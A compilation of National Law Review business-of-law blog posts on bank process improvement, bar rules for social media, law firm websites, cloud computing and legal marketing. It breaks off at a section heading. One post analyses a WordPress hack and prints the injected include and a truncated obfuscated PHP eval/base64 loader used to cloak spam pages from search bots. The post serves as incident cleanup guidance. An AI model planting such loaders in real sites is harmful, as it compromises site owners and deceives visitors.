Category: SEO

Process Improvement Can Drive Shareholder Returns: Is Your Institution Ready for Process Improvement?

Recently an article by The Financial Institutions Group of Schiff Hardin LLP regarding Process Improvement was published in The National Law Review:

Many banks have been fighting for their lives since the financial crisis began in 2008—focusing on improving credit quality, finding capital and persuading the regulators to release enforcement actions. As the economy slowly improves and bank balance sheets stabilize, boards and CEOs will start to focus on growth opportunities and improving their banks’ operating efficiency, all with the goal of driving shareholder returns. With challenging revenue prospects going forward and increasing compliance costs, banks need to reduce the cost of their operating models while improving customer service and sales. This requires a laser focus on process improvement.

Reviewing your organization’s processes increases the likelihood that you can eliminate redundancy, reduce risk and expense, address regulatory requirements and take advantage of technology to better serve your banking customers. In this article, guest author Kristin Kroeger of Fifth Star Consulting LLC, reviews the criteria for assessing whether or not your bank is ready for an effective process improvement program.

Real Life Examples of Process Improvement Opportunities

  1. A community bank with a focus on C&I (commercial and industrial) lending survived the financial crisis and remains well capitalized. As its focus returned to organic growth in a very crowded and competitive market, the bank undertook a review of its end-to-end commercial lending processes with a goal of reducing its delivery cost and increasing its market responsiveness. By increasing the use of technology through adoption of a workflow tool and electronic document storage, as well as a realignment of its client-facing support staff, the bank was able to remove costly rework and improve its credit risk management process while reducing response time to client requests.
  2. A community bank that experienced a significant contraction in business during the financial crisis found itself with excess real estate and decentralized operations across multiple functions. By undertaking a process review of its deposit and retail operations, the bank determined it could consolidate certain functions, reduce headcount, eliminate a(non-target) leased location, and reduce operating risk within a better controlled environment.
  3. A community bank with new executive leadership decided to centralize its operations functions that historically had been managed within each line of business. This transition required the bank to examine each process it owned, challenge the status quo, and address existing technology and control deficiencies. As a result of the process review, redundant positions and processes were eliminated and a new operating culture emerged, which was better focused on the customer with a lower overall cost to the bank.

Success Begins by Asking the Right Questions Early

Before embarking on a process improvement effort, ask yourself these questions:

  • Does the bank’s executive management team fully support this effort?
  • Does the bank have a culture that rewards performance?
  • Does the bank understand how to effectively change management and, if so, does it have the capacity to make it happen?
  • Does the bank have the people with the right skills aligned with the process improvement project?
  • What value-based outcomes do we expect from the process improvement project?

Executive Management Engagement

Process improvement, by definition, invites an organization to question why it does things a certain way. Management support is critical to the success of these initiatives. Bank leadership must champion the value of becoming process-focused and provide the necessary resources—both time and money—to enable the success of the program. Having the CEO repeatedly remind employees why the process improvement program is valuable to the bank, its customers and shareholders, and the employees’ livelihood will motivate and drive employee commitment and performance.

To this end, bank management needs to focus on process improvement as a core initiative and tie it to the strategic vision, shared goals of the organization and compensation program. In doing so, you ensure that process improvement has the continuous focus of the management team and becomes part of the culture and fiber of the organization.

Culture of Success and Commitment To Managing Change

From the lowest paid employee to the top levels of management, a passion for doing the right thing breeds success in a company. Banks will benefit from using their reward and recognition program to complement process improvement plans. Recognize employees who embrace the program early. Continue to build a following by repetitive recognition of early wins and contributions.

Additionally, one of the biggest obstacles to a successful process improvement initiative is resistance from those who may benefit the most. Organizations that are most successful at getting results from process improvement have change management as a core discipline. First, banks should embed a readiness approach into their project plan that addresses training and communication to impacted employees. Second, ensure that affected employees have the time and training they need to learn the new methods. They need to know that management supports time away from daily activities if it is dedicated to learning new skill sets. Finally, be aware that organizations can only absorb so much change at one time. Plan your initiative so that impacted employees have time to adjust prior to adding more change to their environment.

Cross-Functional Engagement

One of the cornerstones of successful process improvement projects is to select what processes to study and then define where they start and where they end. When one particular bank department is sponsoring the improvement initiative, it is easy to become internally focused. Rarely, however, does the same department own the start point, handoffs and end point. Truly transformational change comes from evaluating an organization’s processes across functions. This requires interdepartmental involvement and a commitment to the same vision and goals through proper resourcing and support.

The Right People

While all of the prerequisites for a successful process improvement initiative are important, having the right people resourcing your project is critical to its success. How do you select the right people? Think about your bank organization and the people within it, and ask yourself the following questions:

  • Who is already improving processes on an informal, undirected basis?
  • Who amongst our employees has the credibility and courage to question the status quo?
  • Are there natural leaders in the organization who can establish rapport easily with other departments?
  • Which employees understand our banking business and have the ability to capture processes and document them?

While your employees may be great at what they do, often they may not be good at documenting what they do and explaining why it is done that way. Flourishing process improvement programs select employees who have the respect of their own team, can establish rapport with other departments, have the trust and credibility with management to question and interrogate current processes, and can document them with the level of specificity required by the project team. Lack of properly qualified resources will quickly grind your program to a halt.

Patience and Avoiding Perfection

Process improvement is a journey, and depending on the state of your organization it may take several iterations to achieve the smooth-running, well-oiled machine you are envisioning. If you are considering embarking on this journey, understand that it can be a multi-year voyagerequiring patience and commitment to achieve the long-term vision that enables a series of early wins to grow into an engine of continuous improvement.

Evaluate, Review, Audit

Regardless of your approach, any process improvement effort becomes dated and ineffective without a culture of continuous review. Banking organizations that truly embrace process improvement are evaluating their processes on a regular schedule, reviewing the processes with their business partners, and auditing how the employees perform their jobs against the documented processes.

© 2012 Schiff Hardin LLP

Social Media Posts by a Third Party: Florida Bar Rules

From Business of Law Guest Blogger at the National Law Review Margaret Grisdela of  Legal Expert Connections – a great quick  overview of those tricky Florida State Bar rules concerning social media:  

Ethics in Blogging was the topic of a presentation I made this morning at the Broward County Bar Association, with co-presenter Alan Anthony Pascal, Esq. of The Florida Bar.

Posts to a lawyer’s social media page by a third party was one of the topics we covered. Below please find some highlights from the Florida Bar Guidelines for Networking Sites, which applies to Florida attorneys as well as lawyers from other states who are soliciting business in Florida.

Third Party Posts

“Although lawyers are responsible for all content that the lawyers post on their own pages, a lawyer is not responsible for information posted on the lawyer’s page by a third party, unless the lawyer prompts the third party to post the information or the lawyer uses the third party to circumvent the lawyer advertising rules.”

Removal of Non-Compliant Information from a Lawyer’s Page

“If a third party posts information on the lawyer’s page about the lawyer’s services that does not comply with the lawyer advertising rules, the lawyer must remove the information from the lawyer’s page.”

Request for Removal of Info on a Page Not Controlled by the Attorney

“If the lawyer becomes aware that a third party has posted information about the lawyer’s services on a page not controlled by the lawyer that does not comply with the lawyer advertising rules, the lawyer should ask the third party to remove the non-complying information. In such a situation, however, the lawyer is not responsible if the third party does not comply with the lawyer’s request.”

Lawyer Social Media Pages are Exempt from Filing

“Finally, the Standing Committee on Advertising is of the opinion that a page on a networking site is sufficiently similar to a website of a lawyer or law firm that pages on networking sites are not required to be filed with The Florida Bar for review.”

Page references in these guidelines can include a LinkedIn profile, a blog comment, Twitter profile, Facebook page, etc.

Read the Florida Bar Guidelines for Networking Sites here.

© Legal Expert Connections, Inc.

 

 

Want your website to get noticed? Break the rules!

From Moiré Marketing Partners, the National Law Review’s Business of Law Guest Bloggers this week, Sean Leenaerts provides some interesting insights on different things to consider for legal websites:

Every time I hear someone in marketing or advertising talk about “best practices” for website design, I roll my eyes.

Now granted, many of the do’s and don’t’s of web design have merit. They’ve been tried, tested and proven to work. And I believe that certain best practices such as ease of navigation, making good use of white space, ensuring that site text is easy to read and building for fast loading times are sarcosanct. But I also believe that best practices are helping to hold marketers back.

The problem I have with best practices is that while they are there to guide everyone in website design, they also cause everyone to look pretty much the same. Adherence to best practices tends to create a formulaic, templated approach to website design. The logos, colors and images on various sites may differ, but they mirror one another in their composition–i.e. logos in the upper left, navigation at the top, copy centered or aligned to the right, vertical scrolling, etc. They’re design conventions that definitely work, but make for few standout websites.

“Okay,” I can hear you saying, “that’s all well and good. But I’m a law/accounting/financial services firm. My site has to be functional, and it should stand out because of my message, not because it looks cool and creative.” All true. But in order to read your message, your site has to be noticed first. While I’m not advocating that professional services firms push the boundaries of convention just for the sake of being different, there are a few rules you can break (or at least bend) in order to make your site stand out from the competition.

Go Horizontal

While usability studies show that most website users prefer to scroll and read text vertically, most of those studies were conducted years ago prior to the ubiquitousness of touch screens, widescreen monitors and many other developments we now take for granted. For touch screens like those on the iPhone/iPad, horizontal navigation is the preferred form of navigation because it’s more ergonomic to move your hand from side to side than up and down. In the case of monitors, screen resolutions have gotten better. We used to design for 1024 x 768 screen resolutions. Now, many screens have resolutions that are 1440 x 900 and they’re much wider, which means that viewers get more real-estate horizontally than they do vertically.

I also think–and this is strictly my opinion–that our brains are better wired to consume information horizontally. Maybe it’s because we’ve been doing it that way offine for so many years. Books are read with a horizontal flip, galleries place paintings and photographs alongside each other, and most of our world is organized horizontally rather than vertically–i.e. our houses are next to each other and we move through the world in a mostly linear fashion.

Chart a New Course

Navigation buttons and links should always be easy to find, but do they always need to be at the top or along the sides of the page? And do they always have to be “buttons”? Unconventional navigation–as long as its easy to find and figure out–has the ability to engage the audience and keep them on your site. A good example of navigation that breaks with traditional design and works well is from the web design firm Hello Goodlooking in Helsinki, Finland:

Here, the navigation buttons are centered on the page and move to the sides when you click on them and open a window. They’re easy to see, easy to understand and make the site simply downright fun to navigate.

Shift Your Perspective

Right-aligned page content is often not seen in a world of centered or left-aligned web pages.  Whenever I come across a page that is aligned uniquely, I have to pause and take a second look. It’s a simple (and safer) way to look unique without having to deviate from other conventions of website design.

Be Bold

Using reversed type, multiple typefaces and unique fonts is generally frowned upon in website design. Yet sites that do all or some of these things tend to grab a lot of attention–and not necessarily for all the wrong reasons. And you don’t have to be a kooky design firm to do it. Morrison Foerster is a law firm whose website is truly unique within the industry. No images, just type–and mostly reversed type, at that. Big, bold headlines. A conversational tone. And don’t even get me started on their careers site, which has to be one of the best in any industry. Most law firms make claims to be different and innovative. MoFo’s website backs it up.

Sometimes breaking with best practices is worthwhile. In fact, I’ll go so far as to say that it’s the only way to truly stand out. Striving for innovative design and a better way of web browsing has brought about some great changes in the last decade. Being different to be better is a perfect example of when the rules of best practices should be broken.

Copyright © 2011 Moiré Marketing Partners, Inc. All rights reserved.

Are You Ready For the Cloud?

Meredith L. Williams of Baker Donelson is the National Law Review’s Business of Law Featured blogger.  Meredith discusses the pros and cons of cloud computing for law office operations. 

Introduction

Is cloud computing a shift or is it the next natural step in strategic business development?  Is the cloud  the right answer for your law firm or company?  Is the cloud the right answer for all applications and infrastructure or is it just a piece of the puzzle?  These are a just few of the many questions law firms and companies are asking themselves as they consider a move to the cloud.  There are many reasons why cloud computing is a very seductive solution to the cost cutting environment we find ourselves dealing with today.  However, there are many issues, legal and organizational, that must be considered to determine the validity of the cloud for each environment.

The “cloud” means different things to different people.  For most of us, we have been using cloud computing technology for years without defining the term.  Example cloud environments are extranets, legal research websites, online file storage and much more.  By definition, the cloud is a metaphor  referring to internet based computing in which applications, data, software or network functions are stored on remote servers.  There are presently three types of cloud environments:

  1. Infrastructure as a service or hardware cloud which serves as a data center,
  2. Software as a service or the software cloud, and
  3. Desktop applications operated within a hardware cloud.

Although we have been using the cloud in the past, the difference at this time is the potential of using the cloud for core business applications.

Why the Cloud?

For strategic business leaders, the cloud offers a way to minimize cost, increase mobility, prepare for disaster recovery, offer device flexibility, collaborate on demand and reduce downtime. Let us take a look at the different sections of a law firm and see how the cloud can affect the overall business functions.

In the information management world collaboration is key.  The more a firm can offer needed collaboration tools with a client, the more the client becomes entrenched in that firm culture.  The cloud provides law firms with a unique opportunity to offer clients a collaborative environment in an on-demand system.  The client can truly be connected with the law firm from anywhere with any device in the world.

Fewer applications or errors and easier upgrades are phrases application and support specialists love to hear.  The cloud environment can make them a reality.  The cloud offers software functionality to users regardless of locality or device.  Therefore, fewer setups, downloads and support hours are spent dealing with application changes and upgrades.  This new environment aids a law firm in flexibility allowing the firm to change applications as rapidly as the needs of the users change.

The main concern of most in the applications world is support.  How do current structured IT staffs support an environment when the applications are not local?  What will be the skill set of an applications and desktop support staff individual with applications in the cloud? These are areas IT departments must address before making the move to the cloud.

The cloud offers business and cost savings in a very unique way.  The upfront costs of moving to the cloud are large.  However, over time the cost savings from increased efficiency and reduced hardware, software, support and downtime help to offset the upfront costs.  The biggest hurdle for cloud computing may not be cost but instead data security.  It is easy to argue that a law firm or company can protect its data when it lives in a server room on site with a locked door but how do IT departments protect their data when it sits thousands of miles away on servers not owned by the company?  Law firms will need to determine if this is a deal breaker or is this an area of contract negotiation with the cloud provider.

What are the contractual issues?

Now that we see the potential of cost savings, flexibility, mobility and more,  we will address the contractual issues and concerns each law firm will need to consider.  The first step in any contractual negotiation is due diligence of both parties.  Law firms must evaluate news, law suits, current events, financial stability, customer references, provider longevity and any other possible information that could affect the contractual obligation fulfillment.  Only then can the contract negations begin.

The largest areas of concern in the cloud are data security and privacy. A demonstration of these concerns is seen in the 2009 complaint filed with the Federal Trade Commission (FTC) by the Electronic Privacy Information Center (EPIC) regarding cloud services of Google.  In the complaint, EPIC alleges Google did not adequately safeguard the confidential information obtained from clients.  This complaint raises serious questions for the vendor to address and draft into the contract.  Questions to ask include where the data is stored, what are the physical security measures to protect the data, is a shared resource used in storage, what is the security during transmission, what are the disaster recovery measures and what are security incident response times. In addition, questions around data migration and transition should be addressed.

Another issue to consider is legal compliance.  Highly regulated industries such as health care facilities falling under HIPAA must think twice about moving information to the cloud.  Vendors are expected to maintain the data at the same standard required of the company.  This can become a contractual deal breaker if the vendor will not agree to the higher standards.   The regulated industries affect law firms that maintain work product and client information for clients working in these regulated industries.  Law firms must now consider the standards guaranteed to their clients when moving to the cloud and verify the vendor will agree to that level of maintenance.

A point that is only just beginning to emerge in the cloud discussion is the level of control and ownership of the servers and data existing on the servers.  Questions to consider are data termination and vendor claims and rights to the data.  The control influences discovery, liability and litigation hold processes.  Negotiation can help prevent future claims of spoliation.

Performance, reliability and service features shape the day to day experience of users in the cloud.  Therefore, inquiring about disaster recovery set up, scalability of applications, process for upgrades and feature releases, suspension of services, offline capabilities, base subscription services and add-on services of applications can affect the contract obligations of the vendor, expectations of the client and most importantly cost of the contract.

Global performance and legal compliance of data across international borders are concerns for many large law firms.  Is the vendor only offering a cloud solution that is U.S. based?  This is a discussion point for the contract and can possibly be a deal breaker when adhering to EU standards of compliance.

All of the above contract negotiation points lead to the largest decision, cost.  What is included in the cost of the cloud services?  What is not included?  And the final and most important question to ask, whether the move to the cloud is a benefit if the law firm already owns the software licenses and hardware to maintain the status quo.

What will the courts be deciding?

The courts are well aware of the cloud computing movement.  In Oregon v. Bellar, 217 P. 3d 1094 (Or. App. 2009), the court took note that 69% of U.S. residents that are online utilize at least one cloud site. Due to the unique custodial issues involved with cloud computing, the cloud can present challenges to e-discovery and jurisdictional questions. Decisions concerning these issues are just starting to appear but with conflicting rulings.  The question of what the courts will decided has yet to be seen.

What will the future bring?

As we stated earlier, many of us have been using the cloud for years without calling it the cloud.  The difference surrounds the movement of core business functions such as email and document management to the cloud.  In the past, these features have been kept at a local level.  But as you see above, this is changing.  As more and more cloud providers make their way to the forefront, this movement will only increase.  The question is whether the cloud is the right solution for your law firm?

©2010 Baker, Donelson, Bearman, Caldwell & Berkowitz, PC. All Rights Reserved.

About the Author:

Meredith L. Williams is Baker Donelson’s Director of Knowledge Management.  Although trained as a lawyer, she is not actively engaged in the practice of law.  Instead, she oversees BakerNet, the Firm’s industry-leading intranet, and coordinates strategic growth on behalf of the Firm in knowledge management, competitive intelligence and technology.  Ms. Williams is widely recognized as a leading authority in knowledge management issues for the legal field, and is a frequent presenter and author on knowledge management and competitive intelligence. 901-577-2353 / www.BakerDonelson.com

 

 

Law Firms Should Syndicate Social Media for Maximum Results

From the National Law Review’s  Business of Law Featured blogger Margaret Grisdela of Legal Expert Connections  provides some nice specific things to do for attorneys getting started in social media: 

Attorneys who want to make time for social media among the competing demands of court deadlines, client meetings, and practice management can increase their online visibility with a few simple publishing techniques.

This article shows you how to create and implement a social media syndication plan that will increase your law firm’s Internet marketing visibility. Learn how you can develop and leverage your firm’s customized content to populate a broad range of social media outlets.

Common social media applications for lawyers include LinkedIn, Facebook, Twitter, and blogs. Broadly speaking, social media refers to any type of Internet and mobile-based tool for online networking, collaboration, and information sharing among web-based communities.

Getting Started With Social Media

Launching a social media campaign is actually quite simple. Signing up for LinkedIn, Twitter, and even a blog can be done in a few minutes. Momentum may quickly wane, however, when a busy attorney faces the on-going challenge of creating fresh content.

Start strategically by creating a 6-12 month editorial calendar. Let’s say you have an intellectual property law firm, encompassing several types of services. Pick one topic for each month.

Topics for three months of a calendar quarter could be: 1) copyright law; 2) patent protection; and 3) trademarks. Next, break each monthly topic down into four weekly supporting articles. For example, copyright law topics could be: a) fair use guidelines; b) protecting a copyright; c) international copyright issues; and d) negotiating licensing agreements.

Now that you have your calendar, you can start to write your articles in advance. Of course, the schedule can be interrupted or supplemented as needed to reflect breaking news.  Each blog post should be at least 250-300 words, including strategic use of keywords to attract visitors through search engine marketing. Writing for the web actually means writing for both Google and your actual site visitors.

Leverage your Social Media News Feed

Select one primary point of publication for your social media news feed. A blog works well for this purpose through the use of the “RSS” feed.  RSS is an acronym for “really simple syndication,” which means that your blog acts as a real-time news feed that can be used to distribute your content to other social media applications. Interested readers can also automatically subscribe to your blog using the RSS feed.

As a starting base, make sure all your social media accounts are properly set up and populated with a description of your law firm.

Plan to publish one main article from your editorial calendar to your blog at least once a week (more is better). It is fairly easy to use free services like HootSuite orNetVibes to then automatically transmit your blog posts to your Twitter, Facebook, and LinkedIn accounts. Alternatively, many social media services make it easy for you to automatically import blog posts by simply specifying the RSS feed within your profile.

You can easily extend your reach to multiple social media outlets without the need for additional time or effort when you leverage your original blog articles using these techniques.

Appoint a Social Media Manager

An essential ingredient in social media success is to put someone in charge of your campaign. Lawyers should be practicing law, so even the best laid plans for an attorney to manage a blog or other Internet marketing campaign will quickly fall to the wayside in the face of court and client demands. Look for a seasoned legal marketer with Internet marketing skills who understands the importance of complying with attorney advertising and other ethical guidelines to help manage your social media campaigns.

Business development through thought leadership marketing is a leading reason many attorneys are attracted to a blog and other social media services. The right legal marketing partner will understand strategic planning issues, the importance of keyword placement in blog posts, and the type of audience you wish to reach. They may even help you draft preliminary blog posts for your editing and publication.

Monitor Social Media Feedback

Social media is interactive, meaning that prospects and followers will comment on your posts and otherwise interact with your material. Prompt responses will make a favorable impression on your audience.  In addition to publishing fresh content regularly, you will want to watch for direct comments, republication (like “retweets”), and independent commentary. 

© Legal Expert Connections, Inc.

About the Author:

Margaret Grisdela is President of Legal Expert Connections, a national legal marketing agency serving law firms and litigation experts in the U.S. and internationally. She is the author of the legal marketing book “Courting Your Clients,” which presents a proprietary methodology for business development. An accompanying guide, the “Courting Your Clients Legal Marketing Playbook,” will be available to clients in November. Ms. Grisdela brings over 30 years of experience in marketing, publishing, and information technology to each engagement. She helps clients launch or expand successful practices in the legal field through integrated marketing programs including article placement, speaking, search engine optimized websites, publicity, and direct mail. A leader in professional organizations, she served as 2008 Co-Chair of the Legal Marketing Association South Florida City Group, and 2005 President of the Florida Direct Marketing Association. She holds a B.A. from Wayne State University and an MBA in Finance from The George Washington University. www.legalexpertconnections.com / 561-266-1030

Fast Track Mastership of Legal Social Media- One Day Seminar / Webinar Oct. 21st Washington DC

The National Law Review would like to make you aware of a one day seminar / webinar presented by MyLegal.com designed to help lawyers gain a fast track mastership of legal social media. 

“I don’t think it’s too late to embrace social networking, it just rather disappoints me that other professions use these technologies, and lawyers for some reason are always rather late to the party. I have little doubt that within five years, social media, social networking systems, will play a central role in the daily lives of lawyers.”  Richard Susskind, September 2010.

The conference will be held on Thursday, October 21, 2010, at the Georgetown University Hotel and Conference Center in Washington, D.C. The conference will sell out at 300 on-site participants, so we will be introducing to the legal community a new technology called SMASH.  This technology aggregates the video stream of the sessions, along with the tweets, blogs and photos related to the conference, in one convenient landing page, allowing off-site attendees to experience the conference in a unique and interactive way.

By following the conference Twitter conversation directly from the SMASH page, off-site attendees can join in the live conversation while simultaneously seeing the speaker and checking out the live conference photos.  These are interactions and connections that might not otherwise have been made. 

After the conference, registered users will have access to the video of the sessions, along with the speaker presentations.  The sessions will also be available via iTunes, allowing registered users to listen and learn while on the way to work, running errands or housework (ugh)!  Multi-tasking is King!  After listening to the sessions, users can continue the conversation and commentary online.

Conference speakers / topics scheduled to be included are:

Matthew Asbell, Esq., Certified Legal Social Media Strategist will speak on the use and protection of trademarks in social media marketing.

Nicole Black, Esq., founder of lawtechTalk.com and co-author of “Social Media for Lawyers: The Next Frontier” will speak on social media for lawyers.

Larry Bodine, Esq., legal marketing expert and author of the Lawmarketing Blog will speak on business development with LinkedIn.

Steve Crandall, J.D., expert in digital media and business applications of social networks will speak on social media and the law.

Adrian Dayton, Esq., author of “Social Media for Lawyers: Twitter Edition” and the “Legal Marketing: Social Media Edition” blog will speak on starting to bringing in business with social media

Carolyn Elefant, Esq., creator of MyShingle.com, the longest running blog on solo and small firm practice, and co-author of “Social Media for Lawyers: The Next Frontier” will speak on social media for lawyers.

Sharon Nelson, Esq., author of the electronic evidence blog “Ride the Lightning” and co-host of the ABA podcast series “The Digital Edge:  Lawyers and Technology” will speak on on social media: ethical, compliance, E-discovery and liability implications.

Conrad Saam, runs marketing for Avvo, where he oversees the firm’s SEM, SEO, social media, online marketing, email and web analytics initiatives will speak on getting the most out of Avvo.

John Simek, co-author of “The Electronic Evidence and Discovery Handbook: Forms, Checklists and Guidelines” and “Information Security for Lawyers and Law Firms” will speak on on social media: ethical, compliance, E-discovery and liability implications.

For more information, conference schedules and registration forms, please visit:  http://mylegalmedia.com or call 253-405-7910.

How Extensive Is Your Experience? Insights on Law Firm Website Text.

Sonny Cohen of Duo Consulting   provides some food for thought about the same old – same old law firm website text. From Last Week’s Business of Law at the National Law Review: 

It is common for law firm websites to speak about themselves with hyperbole.  Self-important adjectives litter the site content.  Firm’s with exceptional people are one-upped by those with truly exceptional people.  Knowledge is only valid if it isgenuine. Experience, it seems comes in a variety of flavors as well. Some firms havewide experience.  For others it is deep experience.  But the most common benchmark of experience is that it be extensive.  Does your firm claim extensive experience?

Now it’s not that I don’t believe it when I read of a professional’s extensive experience. It’s just that this really doesn’t tell me anything. Worse, it doesn’t tell me anything different from the next guy who also has extensive experience. In fact, I would argue, my baseline is extensive experience. Now tell me how you’re better.

If you Google the phrase “extensive experience” there are over 6 million website pages where this value is claimed.  Using the search tool on several law firm websites, I discovered an “extensive experience” ratio of about  35% – 50% (# of appearances of “extensive experience”/attorney). So making this claim doesn’t so much separate one professional from the pack as much as it defines the pack. (Check your firm’s ratio and let me know!)

But the problem with this “extensive experience” language is not merely that it is linguistic laziness. Rather, this laziness results in failing to detail the richness, complexity and detail which this phrase references. And in so not doing, opportunities are lost for using this missing content.  You won’t be found in a search engine because, frankly, nobody is looking for “extensive experience.” And you won’t be discovered in your site search because, well, almost half of all attorneys have the same vague amount of experience. And it is all extensive.

Yes, I understand that, often, considerable descriptive detail must be concealed for privacy considerations.  Yeah, so? Content developers (copywriters) simply have to work harder to anonymize those involved. But, with a little effort, it is possible and essential to provide sufficient detail to make the stories comprehensible and relevant – and content rich.

Go the extra mile to gather the detail that elicits that sense of extensive experience. Boil it down to 3 to 5 cogent bullet points of industry and matter relevance. And post it. Your site visitor will have a better experience. This will result in more web pages consumed and possibly a longer time on the site with more opportunity for engagement. And search engines will devour the details for their ranking algorithms.  And you know how I know this? I have extensive experience.

© 1999-2010 Duo Consulting

About the Author – Sonny Cohen:

Sonny works closely with Duo’s clients to develop their online business and marketing strategy. His tactical responsiblities include: Implementing and managing paid search engine campaigns;  Consulting on and implementing permission-based email; Providing strategic online marketing consultation to law firms and others using web analytics to help drive website and business performance and Conceputalizing and implementing social media marketing

Sonny has over 30 years of business management and marketing experience,  He was a Serial entrepreneur and business marketer as an Apple Computer reseller; Internet partner in the business consulting firm Friedman, Eisenstein, Raemer and Schwartz; Director of Business Development for startup Primecom, an online e-commerce application service provider; and Director of Marketing for NextPart, Inc..  312-529-3003 / www.duoconsulting.com

WordPress Search Spam

A helpful article for all Word Press Users out there from the National Law Review’s Business of Law weekly guest bloggers – Duo Consulting.  Scott Frazer of Duo goes over a Spam issue that impacted Duo’s Blog and provides a detailed solution on how they fixed the problem!

Our blog was recently affected by a rather clever little hack, and when I went searching for ways to remove it, I couldn’t find much. Here’s a brief writeup of what happened and how I fixed it.

Our Director of Internet Marketing Strategy, Sonny Cohen, spends some of his time searching Google and other search engines for keywords relative to our business. He began noticing that some of those results, while they would return pointers to our blog, were laced with keywords and links to various male enhancement drugs. When I searched our blog for these references, I couldn’t find anything.

Here’s what I was seeing when I would search our blog for the phrase “test”:

But here’s what Google was seeing when it did the same search:

You may notice that the URL in that is to a local file. There are two ways you can see what your site looks like to Google. One is to change the User Agent on your browser to match that of the Googlebot. The other is to use the Webmaster Tool’s “Fetch As Googlebot” lab utility. I used the latter, and saved the resulting report as an HTML file and then opened that file in Chrome.

So why is Google seeing different results than anyone else who visits my site and runs that query? Something different must be happening when Google visits. I started running through the execution path of WordPress. The first file that is accessed is index.php. All this file does is turn on a theming variable and load wp-blog-header.php. So I moved on to that file. It looked like this:

if ( !isset($wp_did_header) ) {
$wp_did_header = true;
require_once( dirname(__FILE__) . ‘/temp.php’ );
require_once( dirname(__FILE__) . ‘/wp-load.php’ );
wp();
require_once( ABSPATH . WPINC . ‘/template-loader.php’ );
}

temp.php? Never heard of it, let’s see what’s inside:

eval (gzinflate(base64_decode(
‘vVhtc9pGEP6emfwHRfUUmGLg9IbkhNrUJrZnEsfFOGmKXc1ZOoMmQqInYYea/Pfu’
.’nnjRG6aZzNRj0Em7++yzu3erOw5/fXM4HU9fvnj5Ym8cRnFnz77q9T/2+sPK2WBw’
…snip for length…
.’6reTZEAXdDrl4QNzE/3F3Wy+iKjPxFe0gH7G+ML1IiecBfHiY+LyWLhsVmDlrQ7g’
.’cvonDPkW65UOKh6zCWuM44kvFr6Ialmvw1/fHP4L’
)));

Now that looks evil. Obfuscated code can’t be good. I decided to see what it does by replacing the “eval” with “print” and then I ran “php test.php” from that directory. The results are very long, but you can see them here.

Basically, the program tries to determine if we are a real person or a search engine bot by looking at things like our IP address and our user agent. If it determines we are human, it goes ahead and returns the standard header. If we’re a bot, it serves the content in “theme.html” which is identical to the second screenshot above.

So to clean things up, I removed the reference to temp.php from wp-blog-header.php, deleted the file temp.php and deleted the file theme.html.

© 1999-2010 Duo Consulting

About the Author – Scott Frazer:

Scott supervises Duo’s network facilities, monitoring hardware and software, analyzing problems and ensuring that the network is fully operational. He works closely with clients to identify, interpret and evaluate their system requirements. He also provides the front-line defense of the Duo network by planning, coordinating and implementing network security measures. An avid Mac user, Scott is nonetheless happy to keep Duo’s servers running on Windows Server 2003 and Ubuntu Linux.

Scott has been working in network administration with Internet companies for over ten years. He has experience designing and maintaining networks and server farms for high-traffic sites in both the hosting and e-commerce arenas. As the senior system administrator for MusicToday, an online ticketing, merchandise and fan club portal, he was responsible for the stability and security of large-volume e-commerce sites, including websites for the Rolling Stones, the Grateful Dead and the Dave Mathews Band. www.duoconsulting.com / 312-529-3006

Twitter Do’s & Twitter Don’ts

As included in the Business of Law Section of the National Law Review Tom Ciesielka of TC Public Relations provides some solid Do’s & Don’ts for Twitter:  

With millions of unique visitors each month, Twitter is still at the top of the social media game. Some people still use Twitter to catalog boring details of the day. However, savvy and smart users realize Twitter’s usefulness as a concise way of marketing and reaching out to consumers and media.  Read the following do’s & don’ts to continue being one of the savvy and smart users.

  • Do make quality friends. Capturing an audience on Twitter is important, but don’t start following 857 people in one day. Start with a few friends, some movers and shakers of your industry, some legal reporters—listen to their tweets, and offer relevant replies. Then continue to follow a few new people week by week. Don’t just follow to follow, but actually think about why you want to connect with a certain person – think “strategic following.” Then contribute meaningful posts each day that others might find interesting as a way to build your own following.
  • Do protect your reputation. Twitter can be used to solidify your brand image, and it is an indispensable medium when crisis hits. Maintaining a Twitter account can help your firm when a damaging story hits cyberspace because a response on Twitter is often the fastest way to acknowledge the problem or issue. Failing to address any breaking news that involves your company makes you look at best, incompetent and at worst, guilty. Confidentiality laws may render tweeting a bad idea, but you should always pay attention to what’s happening and be prepared to do damage control when necessary.
  • Do be efficient. Building relationships on Twitter can facilitate communication about your legal specialties and expertise. However, using Twitter effectively and appropriately can be a time-consuming job, so try and implement applications that will help you be more efficient like TwitterFeed, TweetDeck and ÜberTwitter. It is also more efficient to partake in niche topic conversations about your practice areas instead of tweeting about the world of law in general. Specificity trumps generality.
  • Don’t be boring or narcissistic. Stick to tweeting about pertinent topics and find ways to express your personality through the links you post, rather than tweeting about how many briefs you’ve written that day or what color tie you’re wearing. Share links to legal headlines or comment on stories related to your expertise. Participate in discussion, reply to other users’ tweets, re-tweet their tweets—Twitter is not a one-person game, so don’t try to be the center of the universe.
  • Don’t turn off your censor. In cyberspace, a record of your most inappropriate tweet will live on in infamy long after you’ve cooled down. Never forget that what you say on Twitter can come back to haunt you, so rude or tasteless comments can come back to haunt you. Play it cool and don’t tweet anything you wouldn’t say in public; after all, Twitter is incredibly public.

Copyright © 2010 TC Public Relations

This posting is republished with permission from the Chicago Lawyer Magazine Blog “Around the Watercooler” located at:  http://h20cooler.wordpress.com/2010/

About the Author:

Tom Ciesielka, President of TC Public Relations, has worked in public relations, marketing and business development for more than 25 years and has enjoyed working with clients ranging from law firms to distinguished authors to national and local companies. He feels privileged to have established trusting working relationships with these clients and values every opportunity he gets to help businesses grow.  He is also a former board member of the Legal Marketing Association in Chicago and has spoken at Chicago Bar Associations CLE programs.  312-422-1333 / www.tcpr.net

What's Hot in Marketing Technology for Law Firms?

The National Law Review’s Business of Law featured blogger is Kristyn J. Sornat of the International Legal Technology Association (ILTA) – who was a panelist at ILTA’s recent annual conference in Las Vegas.  Kristyn recaps some of the valuable information she picked up at the conference.  Read On:  

Lessons learned from the International Legal Technology Association’s Conference – ILTA 2010

For the past several years, the International Legal Technology Association (ILTA) has included a one-day marketing technology track at their annual conference. While the track originally focused on client relationship management (CRM) software (namely InterAction), it has grown to include all things related to marketing technology. This year there were four sessions:

I.   Web Analytics and Search Engine Optimization: Smart Strategies

II.   Using Technology for Successful Events

III.  ERM and CRM: Compare and Contrast

IV.  Marketing Technology Roundtable

I. Web Analytics and Search Engine Optimization: Smart Strategies

